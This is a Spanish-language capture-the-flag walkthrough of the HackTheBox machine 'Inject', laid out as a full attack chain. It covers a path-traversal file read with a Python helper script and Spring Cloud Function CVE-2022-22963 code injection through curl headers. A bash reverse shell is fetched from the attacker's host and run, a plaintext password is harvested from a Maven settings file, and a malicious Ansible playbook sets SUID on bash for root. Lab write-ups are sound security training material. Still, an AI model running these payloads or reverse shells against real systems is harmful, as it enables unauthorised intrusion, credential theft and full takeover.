HackTheBox - Inject

logo

  • LFI - Directory Traversal
  • Spring Cloud Exploitation (CVE-2022-22963)
  • Information Leakage
  • Malicious Ansible Playbook (Privesc)

Escaneo de puertos

❯ nmap -p- -T5 -n -v 10.129.184.91

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -vvv -p 8080,22 10.129.184.91

PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZNtFBY2xMX8oDH/EtIMngGHpVX5fyuJLp9ig7NIC9XooaPtK60FoxOLcRr4iccW/9L2GWpp6kT777UzcKtYoijOCtctNClc6tG1hvohEAyXeNunG7GN+Lftc8eb4C6DooZY7oSeO++PgK5oRi3/tg+FSFSi6UZCsjci1NRj/0ywqzl/ytMzq5YoGfzRzIN3HYdFF8RHoW8qs8vcPsEMsbdsy1aGRbslKA2l1qmejyU9cukyGkFjYZsyVj1hEPn9V/uVafdgzNOvopQlg/yozTzN+LZ2rJO7/CCK3cjchnnPZZfeck85k5sw1G5uVGq38qcusfIfCnZlsn2FZzP2BXo5VEoO2IIRudCgJWTzb8urJ6JAWc1h0r6cUlxGdOvSSQQO6Yz1MhN9omUD9r4A5ag4cbI09c1KOnjzIM8hAWlwUDOKlaohgPtSbnZoGuyyHV/oyZu+/1w4HJWJy6urA43u1PFTonOyMkzJZihWNnkHhqrjeVsHTywFPUmTODb8=
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUJSpBOORoHb6HHQkePUztvh85c2F5k5zMDp+hjFhD8VRC2uKJni1FLYkxVPc/yY3Km7Sg1GzTyoGUxvy+EIsg=
|   256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICZzUvDL0INOklR7AH+iFw+uX+nkJtcw7V+1AsMO9P7p
8080/tcp open  nagios-nsca syn-ack Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 8080

web

Si intento subir un archivo php me responde que sólo puedo subir imágenes, cambiando la extensión a png me dejará subirla y abrirla.

uploaded

Al abrirla me muestra el siguiente error.

uploaded_error

Lanzo curl para ver la petición.

❯ curl -s 'http://10.129.184.91:8080/show_image?img=shell.png';echo

Me devuelve un archivo json.

{
  "timestamp": "2023-03-14T10:22:32.153+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "URL [file:/var/www/WebApp/src/main/uploads/shell.png] cannot be resolved in the file system for checking its content length",
  "path": "/show_image"
}

En el campo message veo una URL interesante.

"message": "URL [file:/var/www/WebApp/src/main/uploads/shell.png]

Siguiendo metodología básica obtengo un LFI.

❯ curl -s 'http://10.129.184.91:8080/show_image?img=/../../../../../../etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

Para moverme entre directorios creo este sencillo script en python ya que tengo la capacidad de listar los directorios y archivos.

#!/usr/bin/env python3

import sys
import urllib.request
import socket

if len(sys.argv) < 2:
    print("\n Ejemplo: " + sys.argv[0] + " /etc/passwd" + "\n")
    sys.exit(1)

url = "http://10.129.184.91:8080/show_image?img=../../../../../.." + sys.argv[1]
socket.setdefaulttimeout(1)
try:
    with urllib.request.urlopen(url) as response:
        html = b''
        while True:
            data = response.read(4096)
            if not data:
                break
            html += data
        for line in html.splitlines():
            print(line.decode())
except urllib.error.URLError as e:
    print(e.reason)

sys.exit(0)

Me voy a /var/www y veo el directorio /WebApp.

❯ ./script.py /var/www
html
WebApp

Listo el contenido de /WebApp.

❯ ./script.py /var/www/WebApp
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target

En el archivo pom.xml veo la versión de spring cloud.

<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>

Hago una búsqueda en internet y encuentro esta información.

vuln

En este repositorio hay un poc y sigo los pasos.

curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' 

Lanzo curl para crear el archivo pwned en el directorio /tmp.

curl -X POST http://10.129.184.91:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data'

{
  "timestamp": "2023-03-14T12:49:07.403+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String",
  "path": "/functionRouter"
}

Listo el directorio /tmp y veo que ha creado el archivo pwned.

❯ ./script.py /tmp

.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
hsperfdata_frank
pwned

Para la revshell creo un archivo rs y lo comparto desde la máquina atacante.

❯ cat rs
bash -i >& /dev/tcp/10.10.14.85/4444 0>&1

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Subo el archivo rs en el directorio /tmp de la víctima.

❯ curl -s -X POST http://10.129.184.91:8080/functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.85 -o /tmp/rs")' -d 'data'

{
  "timestamp": "2023-**-**T**:**:**.***+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String",
  "path": "/functionRouter"
}

Verifico que se ha creado el archivo rs.

❯ ./script.py /tmp/
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
hsperfdata_frank
pwned
rs

Ejecuto bash y el archivo rs.

❯ curl -s -X POST http://10.129.184.91:8080/functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash /tmp/rs")' -d 'data'

Obtengo la shell como usuario frank.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.85] from (UNKNOWN) [10.129.184.91] 42836
bash: cannot set terminal process group (807): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ 

Lanzo un ls al home de frank.

frank@inject:~$ ls -laR
./.m2:
total 12
drwx------ 2 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 ..
-rw-r----- 1 root  frank  617 Jan 31 16:55 settings.xml

En settings.xml encuentro la contraseña del usuario phil.

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Me conecto como phil.

frank@inject:~$ su - phil
Password: 
phil@inject:~$

lanzo pspy y veo que root ejecuta con ansible-parallel todos los archivos .yml en /opt/automation/tasks/*.

UID=0 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Phil tiene permisos de escritura en el directorio /task porque pertenece al grupo staff.

phil@inject:/opt/automation/tasks/$ id 
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

Creo el archivo root.yml y lo subo a la máquina víctima.

phil@inject:/opt/automation/tasks$ touch root.yml
phil@inject:/opt/automation/tasks$ ls 
root.yml playbook_1.yml

Archivo root.yml.

- hosts: localhost
  gather_facts: false
  become: true
  tasks: privesc
    - name: root
      command: chmod u+s /bin/bash

Después de unos minutos /bin/bash tendrá permisos SUID.

phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Obtengo el root.

phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami 
root

Y con esto ya tenemos resuelta la máquina Inject.

Saludos!